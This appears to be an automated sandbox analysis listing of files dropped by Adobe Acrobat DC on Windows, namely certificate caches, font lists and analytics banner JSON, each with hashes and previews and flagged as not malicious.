File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.76081411817498
Encrypted:	false
SSDEEP:	3:kkFklpkNKPtfllXlE/HT8kyhvNNX8RolJuRdxLlGB9lQRYwpDdt:kKfNyeT8DhVNMa8RdWBwRd
MD5:	EDAB1BE79C35CC689187CF91D27AAEF6
SHA1:	C19A9C97434E5ACAC0AB9FCCD34F17D93000364E
SHA-256:	0D35D0536298F6FD53898A45E4EDE7F1E135757DCFEF9F8F5773B2983EBE80AC
SHA-512:	9B46938C89813857A08ADC43B7A2C507443E6ED53F72C4A73AE3EF1593A2F8BEB72C7A2C66146BA3DE2B5B9CD0D801813912AC06618CC91D0AFC14793A1CBD5B
Malicious:	false
Preview:	p...... .........C..zc..(....................................................... ..........W....> ..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKYiNl/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ntiDImsLNkPlE99SNxAhUe/3
MD5:	41AC34914F2FDF47A99717B1CE4985F6
SHA1:	FB5F22CB70B30EE47FA9EDE20A3B521A367E093A
SHA-256:	CDC99B6A2DE9942574950F318C683FCAEFC097540F0F99AA14D5F4716668A790
SHA-512:	0B61DB2DBA1DF8D15A097A5FD6481F01266ADD89E0987FDC1E37BFEE7CD96E383962FA405E4C9237A55131C71620B8FEC42B18AACA043C0F90F0D9C7409533A3
Malicious:	false
Preview:	p...... ........3.K.zc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4616

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4616

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.368960857660037
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJM3g98kUwPeUkwRe9:YvXKXZBUTbd3q5GMbLUkee9
MD5:	DDFAEED6980130133EEE88FD55258DF6
SHA1:	8D8211E473BC454690B3A99993388A9AD3518EE6
SHA-256:	1E1C6857519768B462D21C088361C6FFA360FEB200639415BD804CBCBC76D0EA
SHA-512:	0BDC59DEFCC6C776D93555C96B0888DCC74943E6B7D5065A5C49078D8F8647179BCB453E272C73BBB295111A1FCB32CCBDD5AE66472312D94CE5A5F8F6E287C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305762649523989
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJfBoTfXpnrPeUkwRe9:YvXKXZBUTbd3q5GWTfXcUkee9
MD5:	1D2FEED0E06DC8E3C1C320C5B517BC12
SHA1:	162A9D5FF113C7F0A2DE078035BCD7FA576D3815
SHA-256:	514E1FAA0931D8EF23679D172EA40E537D7D73D4EFEA2B0F0DF9D5FE0CB1D943
SHA-512:	E13E3A18C31F55016180547CFB458AE1EEF957DE3A50060A81961A28B82EAD4E2E04291BDB10402C87F5B81D3FF9504921F1DD5114C8B55ACFBA2B0D02BA7505
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285030443438659
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJfBD2G6UpnrPeUkwRe9:YvXKXZBUTbd3q5GR22cUkee9
MD5:	E9022B775A1244B56F3B75B44CC10D7B
SHA1:	55BA33E9FB2ECF63EBEC2F9367E3821A06E8AA3D
SHA-256:	697E50928B6447434BD07DD6F7B1C64CC56F161858AFA792CE5D744C229EC609
SHA-512:	A3DC790112EBABEB6A53D98625CD8FA825369E29394E4015C329C55D2A3EE05A4D593FEAF57A6214A4CB2BC9C614CD7A6223635F8C7E5A48B05BB8696C48DA9B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.343435970052234
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJfPmwrPeUkwRe9:YvXKXZBUTbd3q5GH56Ukee9
MD5:	0DEA01246827F40EE02AC934429CD40B
SHA1:	72D1DB3A4996AA1557882CE6149BFB1813F2523E
SHA-256:	B4EB0F12021B7FEDB1187BF1200740F520663AA645F61D900A3E5E652D74880B
SHA-512:	AC8AAB136217F591FE7FF7BE62866A6F84EFA6471A617B66C1FAB102781C3F4648090B4E654A9F248AC2ED66FD8A37299B90CD863908D430372FAC3F056CD8F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687312942808782
Encrypted:	false
SSDEEP:	24:Yv6XTUXvpLgE9cQx8LennAvzBvkn0RCmK8czOCCSY:Yvewvhgy6SAFv5Ah8cv/Y
MD5:	E4B5E04ADD298AFFE3038B2582F69073
SHA1:	0843BA2464A58BDA74331C3D8B5E6C1DB3B65DB0
SHA-256:	B2C802FDBC82EB910B454D3FA2E3616C09BC17A884494DC644401BC364CB2F9A
SHA-512:	418407E92C2F0094C7A1EC8581CD4F5B6BEF9D9AC204B31785645073EA8B4AF639D2485A18335D5AE6EC5C667A6E0D6EDBB1276F92A81AC9F03FF4F321977024
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283031608880903
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJf8dPeUkwRe9:YvXKXZBUTbd3q5GU8Ukee9
MD5:	BB2A19F204CD69AF214F197A37C57A77
SHA1:	74A5663E267A0AA0824BFC456632FFE3F67F0A81
SHA-256:	117B908A0B29679806287A0C2359344A4B8FC6055F932F2683735C701BB03B33
SHA-512:	9A724D168AE1EECA3AD983F8D1A89AB577DC8827212ABAB23BC4925350215C7C4E11E1C9A3B56ED4995D907A5DC1B26DD02714E6CC46D5F02C28494804D97861
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2852745696991175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJfQ1rPeUkwRe9:YvXKXZBUTbd3q5GY16Ukee9
MD5:	C0566BEE2B90147EEB54CD5EAD284566
SHA1:	980CF5C3D29A335BBBA5D8B5BCFB57262B96873A
SHA-256:	C8F26447B86C71B232BD1EA65EC4F8E10AE76EA70D799B4746275F7A10ACFB09
SHA-512:	DB381B8E47A159F7FB7FA4E622CEDF2FACF022F3E858D74F34956B90F1C59400E3DF4033B732D780A2BBE15D699D538DE29E1E3ED020CBA6811CB594809034AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295072360928984
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJfFldPeUkwRe9:YvXKXZBUTbd3q5Gz8Ukee9
MD5:	D6FF7B9830C2A39263105EEBFBEC2016
SHA1:	342EF1A3E9AD46D91EED3282B12BB83251B5EA1B
SHA-256:	EE8B9D89324C98D7CCA8E8BABB8CEDDC902C6CF76C661B571859B33C7C319061
SHA-512:	7A46456CF0D4D1615E2EE305BFEF4D99F95DD8FDA0C4218D3B5EEFF5DDFDC96D60BA9A7359416C438E56FC706E57EEF12BFAADF1C8B32572F7A4906E81DEBE18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.309034924640254
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJfzdPeUkwRe9:YvXKXZBUTbd3q5Gb8Ukee9
MD5:	8A7F7053B4D3CFF7FDFCDC0B5FAF0A9A
SHA1:	4FE0CC0C5ED009E2CEC777857577A24AB3E21836
SHA-256:	C9A462F1A6A7ED21E6F93E0628AE644F96292994562DF0C5892DBE06385AD4C3
SHA-512:	2DDAC4B0137488200CF37CF8A6451E66AED1A0EAE7C56235B413FE266831C43E6CEF59068399257C8F820617E4F12E6C677858D0570F52A72DC4947748EBE306
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289170412738785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJfYdPeUkwRe9:YvXKXZBUTbd3q5Gg8Ukee9
MD5:	68AA38E8C491955E37AB9685B64F39AB
SHA1:	9A956B80AADCBB703434F165A73EF09DF4B5B0A4
SHA-256:	939FE86CD31F32E8310314D5F50420A093C841DDFC027FF8D5E45F0F0BAE6D93
SHA-512:	80E808EFFC70B0AFC4C80B52E56DA0DF6DDC34140BC4F1055D76E27EB6976392B922A0DC92C2FC35CA9C021B93D604177A278F9747499C48F11B9E9FB1F08988
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.275611477434563
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJf+dPeUkwRe9:YvXKXZBUTbd3q5G28Ukee9
MD5:	EC30F77221C2246CCD5C2C562B4486E5
SHA1:	69984ADB8471AC0D46D3B8EC01169511B9F0062C
SHA-256:	2A498DB943CA42B91E2D0DB2B10A867E1E82FA2732F725729FCE771A34E2AF10
SHA-512:	EB022D1A367E51F45504EEE0C33CA98977831AA318AEC853F01055BF8AA2B3A6C707735841BA62F6ABB4A9F0D6F1BAB641721D9DADF04B2CFAD5347D60841E20
Malicious:	false
